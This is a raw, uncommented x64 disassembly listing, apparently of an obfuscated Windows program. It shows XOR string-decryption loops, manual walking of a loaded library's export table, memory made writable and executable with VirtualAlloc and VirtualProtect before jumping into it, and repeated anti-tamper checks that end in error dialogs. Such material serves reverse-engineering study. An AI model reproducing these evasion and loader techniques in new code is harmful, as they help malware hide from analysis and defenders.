mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140037315
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a6b58
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1400374a9
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0x9b
mov r10, r14
mov ebx, 0xd7e3c967
movabs r8, 0xe56205fe8
lea r11d, [rax + 0x11]
movabs r9, 0x1cac40bfd0
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14003737b
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x140102030]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x140101f50]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x4b19
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x3958817fa0
cmp r9, rax
jb 0x140037417
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a6b58
int3
mov rax, qword [rbp + 0xfe8]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x14012a590], r14
jne 0x1400374eb
mov ecx, 0x26b0
call fcn.1400ab41c
test rax, rax
je 0x1400374eb
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x14012a590], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x140102180]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140041368
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14003752a
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x14012a590]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x140037646
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400375fe
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400ab41c
mov rsi, rax
test rax, rax
je 0x140037643
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14012a590]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c9610
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c9cb0
mov rcx, rdi
call fcn.1400ab2f8
mov qword [0x14012a590], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140041280
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x140037667
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x14012a590]
test rbx, rbx
je 0x140037771
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14003772b
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400ab41c
mov rsi, rax
test rax, rax
je 0x14003776e
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14012a590]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c9610
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c9cb0
mov rcx, rdi
call fcn.1400ab2f8
mov qword [0x14012a590], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400379a0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400379a0
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400379a0
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400379a0
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400379a0
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140037805
inc rax
test edi, edi
jne 0x1400377f0
test r8d, r8d
je 0x140037817
inc rdx
cmp rdx, rsi
jb 0x1400377df
jmp 0x1400379a0
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400379a0
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x14003783c
mov r14d, r15d
jmp 0x1400379a0
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.14009fb90
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140041e44
lea rcx, [rbp + 0x87b0]
call fcn.1400413dc
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.1400413dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400378b3
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400c9610
mov dword [0x14011e064], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x14011e060]
movsd qword [rdi], xmm0
movzx eax, word [0x14011e068]
mov word [rdi + 8], ax
mov al, byte [0x14011e06a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400c9cb0
mov edx, listen
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x14011e064], r15d
mov rdi, qword [0x14012a590]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x140037a54
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140037a42
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140037a42
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140037a07
xor edx, edx
call fcn.1400c9cb0
jmp 0x140037a40
cmp al, 1
jne 0x140037a42
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.140041bac
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140041d60
lea rcx, [rbp + 0x1168]
call fcn.140041cf0
lea rcx, [rbp + 0x1168]
call fcn.140016338
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x1400379cb
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c9cb0
mov rcx, rdi
call fcn.1400ab2f8
xor r15d, r15d
mov qword [0x14012a590], r15
test r14d, r14d
js 0x14003fdc4
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14003fdc4
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400ab41c
test rax, rax
je 0x140037ab8
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x14012a590], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x140102180]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140041368
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140037afb
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x14012a590]
test rbx, rbx
je 0x140037c22
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140037bce
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400ab41c
mov rsi, rax
test rax, rax
je 0x140037c15
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14012a590]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c9610
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c9cb0
mov rcx, rdi
call fcn.1400ab2f8
mov qword [0x14012a590], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140037c18
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140041280
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140037c39
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x14012a590]
test rbx, rbx
je 0x140037d48
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140037d00
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400ab41c
mov rsi, rax
test rax, rax
je 0x140037d45
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x14012a590]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400c9610
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400c9cb0
mov rcx, rdi
call fcn.1400ab2f8
mov qword [0x14012a590], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140037d48
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140037dd9
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140037dd9
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140037dd9
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140037dd9
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140037dd9
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140037dc8
inc rax
test edi, edi
jne 0x140037db3
test r8d, r8d
je 0x140037e54
inc rdx
cmp rdx, rsi
jb 0x140037da2
mov r14d, r15d
mov rdi, qword [0x14012a590]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x140038023
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140038011
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140038011
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140037fd8
xor edx, edx
call fcn.1400c9cb0
jmp 0x140038011
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140037dd9
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140037dd9
cmp al, 1
jne 0x140038011
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.140041bac
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140041d60
lea rcx, [rbp + 0x1148]
call fcn.140041cf0
lea rcx, [rbp + 0x1148]
call fcn.140016338
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x140037e09
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400c9cb0
mov rcx, rdi
call fcn.1400ab2f8
mov qword [0x14012a590], r13
test r14d, r14d
js 0x14003fc3c
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14003fc3c
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x1400380d4
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x14003814d
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x14003812f
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x1400381ed
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x14003825b
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0x9b
mov r10, r13
mov ebx, 0xd7e3c968
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0xe56205fe8
movabs r9, 0x1cac40bfd0
mov r14d, 0xd7e3c967
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003fc87
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [str._b_aPb]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x2a46871d
mov dword [rbp + 0x96c], 0xf39880b2
mov dword [rbp + 0x970], 0xae5926dc
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x179cea0760
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x2f39d40ec0
cmp r9, rax
jb 0x14003fd32
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0x9b
mov r10, r15
mov ebx, 0xd7e3c968
movabs rsi, 0x8080808080808081
movabs r8, 0xe56205fe8
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x1cac40bfd0
mov r14d, 0xd7e3c967
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x308]
xor dil, r10b
mov byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14003fe0f
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x140101e80]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x2b3f9f3b
mov word [rbp + 0x754], Ordinal_211
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x11b5af8588
movabs r10, 0x236b5f0b10
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14003febb
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a6b58
int3
cmp rax, rbx
jne 0x14003ffee
mov rax, qword gs:[0x24]
movabs rcx, 0xf652601fe2ce4f18
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003ffce
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003ffce
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003ffee
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0x9b
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0xe56205fe8
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x1cac40bfd0
mov r15d, 0xd7e3c967
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x350]
xor dil, r10b
mov byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140040034
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x140101e90]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x63331890
mov dword [rbp + 0x82c], 0xa47963
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x1365771858
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x26caee30b0
cmp r9, rax
jb 0x1400400d7
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x14004021b
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d48e68f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400401fb
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400401fb
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004021b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rbx
jne 0x1400408d1
mov rax, qword gs:[0x24]
mov esi, 0x748af5
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400402ae
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400402ae
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400408d1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0x9b
mov r10, r14
movabs rbx, 0x8080808080808081
mov esi, 0xd7e3c967
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0xe56205fe8
